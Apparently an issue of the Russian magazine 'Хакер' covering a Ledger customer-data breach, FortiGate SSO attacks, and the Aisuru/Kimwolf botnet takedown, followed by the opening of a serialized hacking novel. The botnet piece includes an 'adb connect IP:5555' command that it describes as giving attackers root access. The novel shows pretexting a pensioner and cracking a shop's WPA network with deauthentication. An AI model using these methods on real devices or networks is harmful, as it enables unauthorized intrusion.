Ни Global-e, ни Ledger в принципе не имеют доступа к этой информации.

«
»

Платежная информация не пострадала, — заявили в Ledger. — Но мы
призываем всех сохранять бдительность: атакующие могут попытаться
использовать украденные данные для  фишинговых атак, чтобы
выманить seed-фразы.

Компания напоминает, что никогда нельзя раскрывать посторонним seed-
фразы, а  также по  возможности следует использовать функцию Clear Sign
для подтверждения транзакций.

Нужно отметить, что этот инцидент затронул не  только Ledger. Согласно
заявлению представителей Global-e, злоумышленники получили доступ
к облачной информационной системе с данными заказов клиентов сразу нес‐
кольких брендов. Список пострадавших компаний пока не раскрывается.

В Global-e уверяют, что отреагировали на  атаку быстро: как  только
в  облачной среде обнаружили подозрительную активность, скомпромети‐
рованные системы изолировали и  защитили. Сейчас платежный процессор
уведомляет о случившемся всех потенциально пострадавших пользователей
и регуляторов.

 DDOS-АТАК ЗАФИКСИРОВАЛИ В РОССИИ21 ТЫСЯЧУ

Роскомнадзор сообщил, что во  втором полугодии  2025  года в  России зафиксировали более
 DDoS-атак, а за весь прошедший год — свыше  (против  годом

ранее).
15 тысяч 21 тысячи 10 тысяч

Основными источниками вредоносного трафика, по  данным регулятора, стали 
, , , , , ,  и  .

Это ключевые мировые хабы хостинга и облачных услуг.

Великоб‐
ритания Германия Индонезия Нидерланды США Тайвань Франция Швеция

В подавляющем большинстве случаев атаки идут через распределенные ботнеты из скомпро‐
метированных серверов, облачных виртуальных машин и конечных устройств в разных странах.

Такая модель позволяет злоумышленникам маскировать источник атак, повышать их устой‐
чивость к блокировкам и оперативно наращивать мощность воздействий.

КРАЖА КОНФИГОВ
FORTINET FORTIGATE
С середины января на  файрволы Fortinet FortiGate началась массовая авто‐
матизированная атака. Хакеры за  считаные секунды взламывают устройства
через уязвимость в  SSO, создают фальшивые аккаунты администратора
с  VPN-доступом и  похищают конфигурации. Специалисты , обна‐
ружившие эту активность, предупредили, что атаки продолжаются до сих пор.

Arctic Wolf

По информации исследователей, атаки начались  15  января  2026  года.
Операторы этой кампании эксплуатируют некую проблему в механизме SSO
и моментально создают новые учетные записи, правят настройки VPN и фай‐
рвола, а также выгружают полные конфигурации устройств. Такие конфигура‐
ции часто содержат конфиденциальные учетные данные и  сведения о  внут‐
ренней сети, фактически предоставляя злоумышленникам схему того, что
следует атаковать дальше.

В Arctic Wolf подчеркивают, что все эти действия выполняются за секунды,
а это указывает на полную автоматизацию атак.

В декабре 2025 года Arctic Wolf уже документировала похожие инциденты
после публикации информации о  критической уязвимости CVE-2025-59718.
Этот баг связан с  обходом аутентификации в  FortiGate через специально
сформированные SAML-сообщения. Проблема позволяет неаутентифици‐
рованным атакующим войти в систему, если на устройстве активен FortiCloud
SSO.

Разработчики Fortinet  для  CVE-2025-59718  и  связанной
проблемы CVE-2025-59719  еще  в декабре, с  релизом FortiOS 7.4.9. Однако,
похоже, исправления не  помогли. Администраторы взломанных устройств
сообщают, что атакам подвергаются даже системы, обновленные до  пос‐
ледней версии 7.4.10.

выпустили патчи

В настоящее время компания готовит экстренные релизы FortiOS 7.4.11,
7.6.6  и  8.0.0, которые должны окончательно решить проблему CVE-2025-
59718.

Логи с взломанных файрволов показывают, что хакеры заходят через SSO
с  адреса cloud-init@mail(.)io, используя IP 104.28.244(.)114. После этого соз‐
дается новый аккаунт администратора. Эти индикаторы компрометации сов‐
падают с   Arctic Wolf: исследователи пишут, что наблюдают аналогич‐
ную активность как в текущих атаках, так и в декабрьских инцидентах.

данными

Пока Fortinet не выпустит полноценные патчи, эксперты рекомендуют вре‐
менно отключить FortiCloud SSO, если он включен.

Согласно статистике Shadowserver, в  сети можно обнаружить поч‐
ти 11 тысяч устройств FortiGate с активным FortiCloud SSO, которые являются
потенциальными целями для атакующих.

БОЯРСКИЙ О БЛОКИРОВКАХ И СУВЕРЕННОМ ИНТЕРНЕТЕ

Глава комитета Госдумы по информационной политике, информационным технологиям и связи
Сергей Боярский дал интервью «Комсомольской правде», в котором рассказал, почему власти
деградируют звонки в зарубежных мессенджерах, не собираются полностью банить VPN и счи‐
тают, что Россия стала третьей суверенной цифровой державой наравне с Китаем и США.

Боярский объяснил, что проблема WhatsApp и  Telegram в  России заключается в  том, что
западные сервисы отказываются работать по  российским законам, не  открывают офисы
в  стране и  игнорируют запросы правоохранительных органов о  борьбе с  мошенниками.
Основной аргумент депутата — защита от мошенников. По его словам, национальный мессен‐
джер Max интегрирован в контур безопасности России, благодаря чему уже удалось предотвра‐
тить сотни тысяч случаев обмана. Боярский призвал граждан:

→ Если вы любите свою родню, удалите у них WhatsApp! Потому что им могут
позвонить мошенники и лишить сбережений, заставить, не дай бог, что‑нибудь
поджечь.

Также депутат пояснил, что полностью заблокировать VPN технически сложно, поэтому власти
идут другим путем — запрещают его рекламу. При этом Боярский советует использовать VPN
ситуативно, а не держать включенным постоянно:

→ Захотел ты зайти в  запрещенный Instagram (принадлежит компании Meta,
которая признана экстремистской и  запрещена в  России). Зайди, посмотри,
выключи VPN. Захотел посмотреть что‑то на  YouTube  — включил VPN, пос‐
мотрел, выключил. Если кому‑то нестерпимо хочется позвонить по  WhatsApp,
позвоните, но потом выключите. Потому что, если вы живете с включенным VPN,
все усилия государства, потраченные на  то, чтобы подросток не  столкнулся
с группами смерти, террористами, педофилами, сводятся на нет.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Италия оштрафовала Cloudflare на 14,2 миллиона евро за отказ блокировать пиратские сайты

Роскомнадзор обнаружил нарушения правил установки ТСПУ у 33 операторов

Исследователи взломали панель управления малвари StealC

РКН создаст механизм фильтрации интернет‑трафика на основе ИИ

Mandiant опубликовала радужные таблицы для взлома Net-NTLMv1

Bug bounty программа Curl закрывается из‑за ИИ‑слопа

Атака WhisperPair позволяет прослушивать аудиоустройства через Bluetooth

Недавно обнаруженную малварь VoidLink создали с помощью ИИ

Компания Microsoft раскрыла ключи BitLocker по запросу властей

Google усложнит процесс установки приложений из сторонних источников
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В начале  2026  года исследователи Black
Lotus Labs  о  результатах мно‐
гомесячной операции против ботнетов
Aisuru и  Kimwolf  — одной из  самых мас‐
штабных и  необычных вредоносных
инфраструктур последних лет. Специалис‐
там удалось вывести из  строя
более 550 управляющих серверов и сущес‐
твенно ограничить работу сети из несколь‐
ких миллионов зараженных Android-устрой‐
ств по всему миру. В этой статье разберем,
как шла борьба.

сообщили

Aisuru и  связанный с  ним Android-ботнет Kimwolf способны превращать
зараженные устройства в  узлы для  проведения DDoS-атак и  резидентные
прокси. Детали работы этой схемы начали проясняться, когда в конце прош‐
лого года эксперты китайской компании QiAnXin XLab опубликовали 

 малвари Kimwolf, которая в основном заражает Android-приставки
и стриминговые устройства.

деталь‐
ный анализ

Вредонос доставляет на  устройства SDK ByteConnect  — либо напрямую,
либо через предустановленные сомнительные приложения. При этом во мно‐
гих случаях гаджеты скомпрометированы с  помощью прокси-SDK еще  до
момента покупки.

В отчете отмечалось, что Kimwolf может быть связан с  ботнетом Aisuru,
который попал в заголовки СМИ благодаря  в конце
прошлого года.

рекордным DDoS-атакам

Аналитики писали, что оба вредоноса явно созданы одной хакерской груп‐
пировкой. Дело в том, что с сентября по ноябрь 2025 года оба ботнета рас‐
пространялись через одинаковые скрипты заражения и  сосуществовали
на  одних устройствах. Кроме того, APK-файлы вредоносов, найденные
в VirusTotal, были подписаны одними сертификатами (включая John Dinglebert
Dinglenut VIII VanSack Smith), а 8 декабря эксперты обнаружили активный сер‐
вер‑загрузчик (93.95.112(.)59), который раздавал полезные нагрузки обоих
ботнетов сразу.

Тогда была выдвинута теория, что операторы Kimwolf на  ранних этапах
использовали код Aisuru, взяв его за  основу, а  затем развили новый ботнет
как отдельный проект, чтобы эффективнее уклоняться от обнаружения. Также
сообщалось, что некоторые атаки, ранее приписываемые Aisuru, на  самом
деле могли исходить от Kimwolf и группировки работали совместно.

ПРОКСИ КАК ВЕКТОР АТАКИ

Схема распространения Kimwolf оказалась изощренной и  необычной.
Как  недавно  эксперты из  компании Synthient, в  ней задейство‐
ваны легальные резидентные прокси‑сервисы.

рассказали

Бюджетные приставки на  базе Android TV, которые продаются на  Amazon
и  других сетевых площадках, нередко поставляются с  предустановленными
SDK резидентных прокси  — такими как  уже упомянутый ByteConnect ком‐
пании IPIDEA. Когда покупатель включает такую приставку дома, она авто‐
матически становится узлом в сети IPIDEA, а публичный IP-адрес пользовате‐
ля попадает в каталог прокси для аренды.

IPIDEA  — один из  крупнейших в  мире провайдеров резидентных прокси,
который рекламирует доступ более чем к 100 миллионам IP-адресов по всему
миру. Компания легально продает доступ к  этим прокси, однако закрывает
глаза на  происхождение многих узлов  — предустановленную малварь
на дешевых приставках.

Операторы Kimwolf арендовали прокси у  IPIDEA как  обычные клиенты,
а затем эксплуатировали критическую уязвимость в сервисе: IPIDEA не филь‐
тровал запросы к  внутренним IP-адресам в  локальных сетях (192.168.x.x,
10.x.x.x и так далее).

Арендовав конкретный резидентный прокси, злоумышленники с  его
помощью проникали в домашнюю сеть жертвы. Там они сканировали устрой‐
ства в  поисках Android-девайсов с  открытым Android Debug Bridge (ADB)
и  заражали их Kimwolf. Зараженные гаджеты, в  свою очередь, продолжали
сканировать локальную сеть, распространяя вредонос на другие устройства.

ADB представляет собой режим отладки, предназначенный для  разработки
и  тестирования. Проблема в  том, что многие бюджетные ТВ‑приставки пос‐
тавляются с включенным ADB без пароля. Достаточно выполнить команду 

, и злоумышленник получает root-доступ к устройству.

adb
connect IP:5555

Сценарий заражения может быть таким: друг приходит в  гости со  смар‐
тфоном, на  котором установлено приложение с  прокси-SDK. Гость подклю‐
чается к  Wi-Fi, и  в результате публичный IP-адрес хозяина попадает в  базу
IPIDEA. Операторы Kimwolf арендуют этот прокси, проникают в  локальную
сеть и  заражают ТВ‑приставку или  цифровую фоторамку с  открытым ADB.
К  моменту, когда гость уезжает, устройства в  домашней сети уже стали
частью ботнета.

В декабре, после публикации отчета Synthient, в  IPIDEA отреагировали
на  предупреждение аналитиков и  заблокировали доступ к  локальным сетям
и широкому диапазону портов.

Однако представители другого провайдера — Resi Rack (инфраструктура
которого активно использовалась для управления ботнетом), судя по всему,
были в курсе происходящего.

Как показало   известного ИБ‑журналиста Брай‐
ана Кребса (Brian Krebs), сооснователи Resi Rack почти два года торговали
прокси‑услугами через Discord-сервер resi(.)to, где собирались операторы
различных ботнетов.

недавнее расследование

После публикации расследования Кребса сервер был удален, а его учас‐
тники перебрались в Telegram, где продолжили жаловаться на невозможность
найти надежный «пуленепробиваемый» хостинг для своих проектов.

РАССЛЕДОВАНИЕ

Еще в декабре ИБ‑специалисты писали, что ботнет разросся до 2 миллионов
зараженных Android-девайсов с открытым ADB.

Как выяснилось теперь, еще  в сентябре  2025  года аналитики команды
Black Lotus Labs компании Lumen Technologies обнаружили группу SSH-под‐
ключений с канадских IP-адресов в процессе анализа бэкенда управляющего
сервера Aisuru (65.108.5(.)46). Эти адреса через SSH подключались
к  194.46.59(.)169, который оказался связан с  proxy-
sdk.14emeliaterracewestroxburyma02132(.)su. Любопытно, что в  ноябре прош‐
лого года этот домен второго уровня даже обогнал Google в  рейтинге
топ-100 доменов Cloudflare. После этого компания удалила его из списка.

В начале октября исследователи выявили еще  один домен
(greatfirewallisacensorshiptool.14emeliaterracewestroxburyma02132(.)su),
который резолвился на  104.171.170(.)21. Этот IP-адрес принадлежал упо‐
мянутому хостинг‑провайдеру Resi Rack из  Юты, который позиционирует
себя как «премиальный провайдер игровых серверов».

Эта связь оказалась ключевой для понимания всей хакерской схемы. Рассле‐
дование Брайана Кребса показало, что люди, стоящие за различными прок‐
си‑сервисами на  базе ботнетов, активно продавали свои услуги через
Discord-сервер resi(.)to.

Среди участников оказались и сооснователи Resi Rack — Кэссиди Хейлс
(Cassidy Hales), выступавший под ником Shox, и его партнер Linus. Почти два
года они торговали прокси‑услугами через Discord, причем связанные с ними
IP-адреса были неоднократно замечены в  инфраструктуре Kimwolf в  период
с октября по декабрь 2025 года.

Сам сервер в Discord принадлежал пользователю с ником d (предположи‐
тельно сокращение от  Dort), который, по  данным бразильского хакера Forky
(ранее связанного с Aisuru), является одним из текущих операторов ботнета
и проживает в Канаде. Вторым ботоводом считается некто Snow.

Как уже было сказано выше, после публикации первой части расследова‐
ния Кребса сервер resi(.)to был экстренно удален, а  его участники переб‐
рались в  Telegram. Там они обнародовали личные данные специалиста
Synthient и  жаловались на  невозможность найти надежный хостинг. Один
из  участников под  ником Richard Remington даже запостил «поздравитель‐
ную» карикатуру, утверждая, что Dort и  Snow теперь контролируют  3,5  мил‐
лиона зараженных устройств.

Связь Resi Rack с операторами ботнета объясняет, почему компания долгое
время предоставляла хостинг для управляющей инфраструктуры Kimwolf, нес‐
мотря на очевидные признаки вредоносной активности.

При этом Хейлс заявил Кребсу, что его компания получила уведомление
об  активности Kimwolf только  10  декабря  2025  года и  «немедленно приняла
меры». Также он выразил разочарование тем, что имя компании оказалось
связано с этим инцидентом.

Примечательно, что компания IPIDEA и ее сервис 922 Proxy, по сути, явля‐
ются реинкарнацией печально известного  911S5 Proxy  — крупнейшего сер‐
виса по  продаже резидентных прокси, работавшего с  2014  по  2022  год.
911S5  после публикации  Кребса и  спе‐
циалистов Шербрукского университета. В 2024 году Минфин США ввел сан‐
кции против создателей компании.

был закрыт другого расследования

Уже тогда исследователи предупреждали, что заражение устрой‐
ства  911S5  открывает доступ к  локальным сетям, включая общие ресурсы
и внутренние порталы.

МОНЕТИЗАЦИЯ

Схема монетизации ботнета строится на двух направлениях. Основной доход
операторы получают от  продажи доступа к  зараженным устройствам, делая
из  них резидентные прокси  — либо напрямую через собственные сервисы,
либо пытаясь продавать ботов оптом легальным провайдерам.

Дополнительный доход злоумышленникам приносит сдача ботнета в арен‐
ду для  DDoS-атак. Также в  Synthient отмечали массовые credential-stuffing-
атаки на  почтовые серверы и  популярные сайты, связанные с  SDK
ByteConnect, что говорит о многоцелевом использовании инфраструктуры.

Помимо IPIDEA, исследователи из  Synthient нашли еще  несколько прок‐
си‑провайдеров, чьи сервисы активно использовались для  монетизации
Kimwolf. Среди них  — Plainproxies, управляемый Фридрихом Крафтом
(Friedrich Kraft), который также владеет хостинговой компанией  3XK Tech
в Германии.

По данным Cloudflare, в  июле  2025  года  крупнейшим
источником DDoS-атак, а в ноябре GreyNoise Intelligence , что IP-
адреса 3XK были ответственны за три четверти всех интернет‑сканирований
критической уязвимости в  продуктах Palo Alto Networks. Крафт не  ответил
на запросы Брайана Кребса о комментариях.

3XK Tech стала
обнаружила

Еще один провайдер, Maskify, который рекламирует доступ более чем
к  6  миллионам резидентных IP-адресов, также оказался замешан в  истории
с Kimwolf. Компания предлагает крайне низкие цены (30 центов за гигабайт,
что значительно ниже рыночной стоимости). Как  отмечают исследователи,
обычно реселлеры прекрасно понимают, что продают,  — прокси по  таким
ценам не  могут быть получены легальным путем. В  Maskify также проигно‐
рировали запросы специалистов о комментариях.

Кроме того, аналитики Synthient получили от  других прокси‑провайдеров
скриншоты, на  которых видно, как  операторы Kimwolf пытались продать им
пропускную способность зараженных устройств оптом, желая получить
в обмен предоплату наличными.

Oxylabs, еще один из крупнейших провайдеров резидентных прокси, под‐
твердил получение уведомления от  Synthient и  заявил о  внедрении изме‐
нений, которые теперь блокируют обход списка запрещенных адресов
и перенаправление запросов к приватным сетям. Однако в компании утвер‐
ждают, что не  обнаружили доказательств эксплуатации своей сети операто‐
рами Kimwolf.

NULL ROUTE

В начале октября 2025 года Black Lotus Labs зафиксировала рост числа новых
ботов в сети Kimwolf на 300% за неделю. К середине месяца общее количес‐
тво зараженных устройств достигло  800  тысяч. Как  оказалось, почти все
новые боты продавались через один резидентный прокси‑сервис.

С 20 октября по 6 ноября управляющая инфраструктура Kimwolf сканиро‐
вала PYPROXY и другие сервисы в поисках уязвимых девайсов.

В октябре, получив представление о том, какие устройства обеспечивают
работу Kimwolf, эксперты Black Lotus Labs начали выводить ботнет из  строя,
используя тактику null route против управляющих серверов. Отмечается, что
работа по дестабилизации малвари проводилась совместно с неназванными
партнерами в области ИБ, однако Kimwolf оказался устойчивым.

К примеру, в одном случае после использования null route против сервера
Resi Rack, где помещался управляющий домен, злоумышленникам пот‐
ребовалось всего двенадцать часов, чтобы понять, что произошло, и восста‐
новиться. Аналитики отмечают:

«
»

После успешного null route в  октябре мы заметили, что домен
greatfirewallisacensorshiptool переехал на  104.171.170(.)201  —
еще  один IP Resi Rack. Когда этот сервер поднялся, мы увидели
всплеск трафика с 176.65.149(.)19:25565 — сервера, где хостится вре‐
доносное ПО. Это была общая ASN, которую в  то же время исполь‐
зовал ботнет Aisuru.

В общей сложности за прошедшие четыре месяца эксперты нейтрализовали
более  550  серверов Aisuru и  Kimwolf. Они пишут, что это  вызвало видимое
беспокойство у операторов ботнета. Например, как ранее сообщали иссле‐
дователи QiAnXin XLab, злоумышленники стали оставлять специалистам
Lumen послания с нецензурной лексикой в ходе DDoS-атак.

Несмотря на усилия по дестабилизации инфраструктуры, Kimwolf и Aisuru
продолжают функционировать. Однако публичная огласка и скоординирован‐
ные действия ИБ‑специалистов явно осложняют операторам ботнета
жизнь  — об  этом говорят как  экстренное закрытие Discord-сервера, так
и агрессивные послания в адрес исследователей.

Эксперты Synthient запустили  для  проверки устройств:
на  странице synthient.com/check можно узнать, не  попал ли твой IP-адрес
в ботнет Kimwolf.

специальный сервис

 потенциально зараженных «из коробки» устройств доступен
на GitHub. Если у тебя или твоих друзей есть такое устройство, исследователи
советуют отключить его от  сети. Также рекомендуется выделять гостям
отдельную Wi-Fi-сеть, которая изолирована от основных устройств. © X
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COVERSTORY

Эта история  — продолжение , который
мы начали публиковать на  страницах «Хакера» ровно год
назад. Рассказ о  приключениях Кирилла и  Трикси запом‐
нился нашим читателям, и мы решили вновь вернуться к этим
героям, чтобы рассказать о  том, как  сложилась их даль‐
нейшая судьба.

романа «Хакеры.RU»

На всякий случай напоминаем, что все персонажи этой истории, их имена
и описанные события вымышлены, все совпадения с действительностью слу‐
чайны, все факты — лишь плод авторской фантазии.

От редакции
В прошлые новогодние каникулы мы ежедневно публиковали новый фрагмент
истории Кирилла и Трикси, рассказанной нашим ведущим редактором Вален‐
тином Холмогоровым в  романе «Хакеры.RU», а  чуть позже 

, а также . В этом году мы решили продолжить
добрую традицию: каждый день с  31  декабря по  11  января будем вык‐
ладывать отрывок продолжения этого романа, причем первые три главы будут
открыты всем читателям. Затем, как  и год назад, новые главы станут пуб‐
ликоваться раз в неделю, по субботам, и будут доступны подписчикам.

эта книга вышла
на бумаге в электронном виде

 не  только редактор «Хакера». Он написал
более 45 книг, участвовал в межавторском цикле «Пограничье» Сергея Лукь‐
яненко, а  одна из  книг в  этом цикле была написана в  соавторстве с  ним
самим.

Валентин Холмогоров

Работы Валентина издавались в  «АСТ» и  «Альфа‑Книга» («Армада»)
и  «Олма‑Пресс». Один из  наиболее успешных проектов  — серия «Хроники
Аскета», в  которой Холмогоров участвовал вместе с  писателем‑фантастом
Романом Артемьевым.

На привокзальной площади напротив автобусной остановки высился потем‐
невший от  времени памятник Ленину. Он все еще  указывал рукой туда, где
по замыслу скульптора должен начинаться путь в светлое будущее, но теперь
там громоздился супермаркет с  растянутой на  весь фасад рекламой кре‐
дитов. Кирилл вспомнил: в  детстве он думал, будто бронзовый Ленин обра‐
щается лично к нему — иди, сынок, ищи свою собственную цель в жизни. Он
ушел. А  теперь вот вернулся и  вдруг осознал, что вождь указывал вовсе
не туда, а может, он просто неверно выбрал изначальное направление.

Кирилл натянул на  голову капюшон, сунул озябшие руки в  карманы и,
повернувшись спиной к  монументальной фигуре Ильича, зашагал по  улице
Мира, которую когда‑то знал наизусть, а сейчас узнавал заново — будто слу‐
чайно повстречавшуюся спустя много лет школьную подругу. Всё вроде  бы
на  месте: тот же потрескавшийся замерзший асфальт, те же облупленные
фонари с  бумажными лоскутами оборванных объявлений, но  что‑то тем
не  менее изменилось. Раньше здесь был газетный киоск  — теперь вырос
стеклянный куб с вывеской «Чай. Кофе. Выпечка». Там, где когда‑то благоуха‐
ла на всю округу кислым пивом дешевая забегаловка и скандальные продав‐
щицы ругались с вечно поддатым дедом по прозвищу Захарыч, теперь возник
салон красоты с белыми шторами. Прохожих в этот ранний час было немного,
но  Кирилл на  всякий случай отводил глаза в  сторону: Подгорск  — город
маленький, и  натыкаться на  старых знакомых здесь порой получалось чаще,
чем того хотелось.

На углу он притормозил у  пешеходного перехода. Взгляд скользнул по  вит‐
рине кафе с  названием «Терраса», выхватив за  стеклом мужчину в  темной
куртке, и  Кирилл вдруг застыл на  месте. Сердце дернулось, словно кто‑то
резко потянул за невидимую нитку под ребрами.

Так сидел Санька  — вечно сосредоточенный и  в то же время расслаб‐
ленный, с  видом человека, готового в  любую минуту вскочить и  куда‑то
бежать сломя голову. Но Саша погиб. На похороны Кирилл не ездил — при‐
ходил в  себя в  питерской больнице, а  тело Санчо перевезли сюда, в  Под‐
горск, и опустили в землю в закрытом гробу, если верить дошедшим до него
мутным и сбивчивым слухам.

Рядом нетерпеливо бибикнула машина, нервно интересуясь, собирается
ли он переходить улицу или  так и  намерен стоять истуканом? Кирилл обер‐
нулся, махнул водителю, чтобы проезжал, а  когда снова взглянул в  сторону
окна, там уже никого не было. Пустой стол, вместо недопитой чашки кофе —
одинокий стаканчик с  салфетками и  его собственное отражение в  стекле.
Показалось… Он постоял еще  немного, прислушиваясь к  участившемуся
пульсу в висках, а потом двинулся дальше, чуть ускорив шаг и сильнее сжав
пальцы в карманах.

Старая панелька встретила его знакомым с  детства запахом теплой
сырости из подвала, черными кляксами «хоттабычей» на мелованной изнанке
лестничных пролетов и коряво исписанными маркером стенами, напоминав‐
шими жителям подъезда о том, что Цой все еще жив. Ключ с трудом провер‐
нулся в замке, будто тот не желал впускать незваных гостей после долгой раз‐
луки, спертый воздух рванул в открывшуюся дверь, радуясь неожиданной сво‐
боде.

В его комнате, которую мама до сих пор называла «детской», царил иде‐
альный порядок. Книги выстроились рядком на полке, как солдаты на параде,
а вот и тот самый системник — с него когда‑то все началось. Тихонечко прик‐
рыв дверь, словно опасаясь кого‑то потревожить, Кирилл прошел в гостиную:
нужно вытащить из  серванта документы, которые, уезжая, он оставил здесь,
а потом заглянуть к соседке тете Тане, забрать и оплатить скопившиеся счета
за  коммуналку. Эту квартиру он предлагал матери продать, чтобы добавить
немного денег и купить что‑то в Питере, тем более недавно у него появилось
в этом городе и собственное жилье. Средств, правда, хватило только на тес‐
ную и  требовавшую ремонта однушку, затерявшуюся в  дебрях Ржевки.
Но мама от его предложения категорически отказалась, видимо не поверив
до конца в то, что ее сын каким‑то непостижимым образом обзавелся своей
недвижимостью в  чужом мегаполисе. Кирилл вдруг подумал, что расстаться
с  этой квартирой навсегда все‑таки было  бы безумно жаль: он попросту
не мог представить себе посторонних людей, обживающих его спальню. Чуть
поправив здоровье, мама твердо вознамерилась вернуться в  Подгорск,
к  подругам и  оставленной из‑за болезни работе. Что ж, там, в  Питере, она
и  вправду чувствовала себя одинокой и  потерянной. Пусть хотя  бы здесь
у него останется «запасной аэродром».

Усевшись за стол, Кирилл достал из рюкзака ноутбук и подключил к нему
мобильник вместо GPRS-модема. Морок, овладевший им возле уличного
кафе, не давал покоя. Он испытывал даже не беспокойство, а ощущение, буд‐
то тень прошлого притащилась за  ним из  Питера и  теперь присела рядом,
настырно заглядывая через плечо. Кирилл набрал в  поиске знакомое наз‐
вание и принялся бродить по ссылкам. Компьютерный магазин, который ког‐
да‑то отжали у Санчо, теперь назывался «Икс‑Байт». Он успел превратиться
в небольшую торговую сеть: три точки в Подгорске, по одной — в соседних
Рогочёвске и  Каменке. Причем продавали там теперь не  только компы
и периферию, но и диски с софтом, игровые приставки и мелкую бытовую тех‐
нику. Вырос бизнес, ничего не скажешь…

Кванты информации, как  фрагменты пазла, один за  другим укладывались
в четкую картинку. Фирма, рулившая сетью сейчас, называлась «Байкал‑Мар‐
кет», только вот ни одного упоминания о ее владельце отыскать не удалось,
как  Кирилл ни  старался… Генеральный директор  — это, понятно, наемный
сотрудник, гораздо интереснее, кто на  самом деле стоит за  этой конторой.
Гугл не помог, и Кирилл принялся шерстить местный форум, где еще пару лет
назад кипела жизнь: сюда выкладывали сплетни, здесь договаривались
о встречах, обсуждали, кого приняли менты и где открылась новая разливуха.
Теперь сайт будто  бы вымер, призрачную видимость былой тусовки соз‐
давали примерно полтора упертых завсегдатая. Зато в  архивах форума
Кирилл наткнулся на  фамилию Бадрин. Такого Кирилл не  знал, но, если
верить прочитанному, этот самый Алексей Бадрин благополучно прибрал
к рукам чуть ли не треть подгорского бизнеса. Банальная, в общем‑то, исто‐
рия: все началось с  приватизации местного сталепрокатного завода, обо‐
рудование которого пошло на  металлолом, а  помещения сдали под  склады
и офисы. Потом Бадрин выкупил редакцию областной газеты, захватил город‐
ской кабельный телеканал и  подгреб под  себя основные информационные
ресурсы Подгорска  — кроме, разумеется, интернета. До  интернета этот
человек добрался чуть позже: самый крупный городской провайдер в прош‐
лом году слился в  экстазе с  его телестудией, образовав местечковый
телекоммуникационный холдинг, который начал поглощать самоорганизовав‐
шиеся когда‑то районные локалки одну за  другой. Ну и  на другие успешные
проекты Бадрин старался по  возможности наложить лапу. Видимо, Санин
магазин просто подвернулся под руку. А Денис Алексеевич, учредитель «Бай‐
кал‑Маркета»,  — это, стало быть, сын… Затевать войнушку с  таким вот оли‐
гархом местного разлива — дело, конечно, небыстрое и чересчур хлопотное.
А  вот организовать им с  сыночком немного интересных приключений  —
почему  бы и  нет? Может быть, Сашке там, за  чертой, станет хоть чуточку
веселее…

Маргарита Зиновьевна очень не  любила неожиданных визитеров, но  звонок
в прихожей дребезжал уж слишком протяжно и настойчиво.

— Кто? — сварливо спросила пенсионерка, поднимаясь на цыпочки, что‐
бы заглянуть в глазок.

Можно было и не стараться: зрение с недавних пор совсем испортилось,
ничего там не разглядеть, кроме мутной серой пелены.

— Жилконтора, — донесся с той стороны молодой голос.
«Что ж, жилконтора — это не сектанты или продавцы пылесосов, повадив‐

шиеся шастать по  подъездам в  последнее время»,  — подумала она, возясь
с  непослушным замком. За  дверью стоял и  приветливо улыбался парень
в  рабочей спецовке с  большой матерчатой сумкой через плечо. Слишком
волосатый для техника или электрика, да, видать, такая уж мода у нынешней
молодежи пошла, патлатыми ходить.

— Добрый день, меня по  вашему адресу из  ЖЭКа прислали,  — вежливо
поздоровался парень.  — Скажите, пожалуйста, у  вас телевизор нормально
показывает? Помех, посторонних шумов нет?

— Как  это нет?  — оживилась старушка, для  которой телевизор остался,
пожалуй, последней радостью в  жизни.  — Все время полосы какие‑то идут,
и звук такой паршивый стал, как из колодца. А когда Мишка, балбес с первого
этажа, шарманку свою включает, так вообще сплошная рябь по  экрану.
Как это называется, забыла… «Дренди», что ли?

— Все понятно, — нахмурился парень. — Нужно проверить и перенастро‐
ить коммунальную антенну. Вы случайно не  знаете, как  на крышу попасть?
У нас мастер участка на больничный ушел, ключ не у кого попросить…

— А есть у меня ключ, есть, — суетливо затараторила Маргарита Зиновь‐
евна, оборачиваясь к полочке в прихожей, — только ты это, обратно мне его
принеси, слышишь? Не забудь!

— Обязательно принесу, не  беспокойтесь,  — заверил ее молодой
человек.

Прошел час томительного ожидания, медленно потянулся второй. Мар‐
гарита Зиновьевна заварила чаю, включила и  выключила телевизор,
но  никаких изменений в  качестве картинки не  обнаружила. Видать, обманул
ее все‑таки паршивец, утащил ключ с  концами. До  чего безответственная
и безалаберная молодежь пошла, совершенно невозможно им доверять!

Сменив стоптанные домашние шлепанцы на уличные туфли, чтобы ненаро‐
ком не  перепачкать тапки в  грязи, Маргарита Зиновьевна накинула пальто
и  вышла на  лестничную площадку. Дверь на  чердак была все еще  открыта.
Осторожно ступая негнущимися ногами по скрипучим ступеням, она, кряхтя,
поднялась наверх.

Парень из  ЖЭКа стоял на  крыше перед  разложенным на  парапете ноут‐
буком, сжимая в руке какую‑то странную конструкцию с проводом, прикручен‐
ным… Возможно, ей показалось, но  это подозрительным образом напоми‐
нало пустую жестяную банку из‑под растворимого кофе на деревянной палке.
Такая же в  точности банка с  надписью Nescafe, доверху наполненная окур‐
ками, стояла у  них на  лестничном подоконнике в  качестве коллективной
пепельницы. Обернувшись, парень встретился с пенсионеркой взглядом.

— Ты чего тут делаешь‑то?  — сварливо поинтересовалась Маргарита
Зиновьевна, полагавшая, что парнишка давным‑давно ушел по своим делам,
забыв запереть чердак и вернуть ей заветный ключ.

— Чтобы правильно настроить антенну, нужно сначала найти источник
помех и  отфильтровать сигнал по  частоте и  амплитуде,  — терпеливо,
но совершенно непонятно ответил тот. — У нас для этого имеется специаль‐
ное оборудование, видите? Но анализ занимает время. Потерпите, как закон‐
чу, я сразу же верну вам ключ. Зато у вас появится целых три новых телека‐
нала! Нужно будет только телеприемник перенастроить…

— Ладно, ладно, работай… — закивала головой пенсионерка, разворачи‐
ваясь в тесном дверном проеме.

И вправду, чего это  она? Толковый вроде мастер, делом занят. А  то, что
волосатый, так это времена нынче такие…

Избавившись от  назойливого внимания старушки, Кирилл вновь уткнулся
в экран ноутбука. Как говорится, первое правило ворчалкинга — не попадать‐
ся на  глаза ворчащим пенсионерам. Плоская крыша кирпичной двухэтажки
располагалась уж слишком удобно: прямо напротив центрального магазина
«Икс‑Байт», самого первого, который когда‑то открыл еще  Санчо. Переулок
узенький, расстояние маленькое, уровень сигнала беспроводной сети вполне
приемлемый, спасибо самодельной антенне. А выяснить, где обитает главная
по подъезду, не составило ни малейшего труда. Сеть, правда, прикрыта WPA,
ну да  стемблер уже выдал Кириллу все необходимые данные. Вслед за  тем
запущенная им программа швырнула в эфир сигнал деаутентификации, при‐
казывающий сбросить соединение с подключенными к точке доступа сетевы‐
ми клиентами, перехватила пакеты с  запросом повторной авторизации
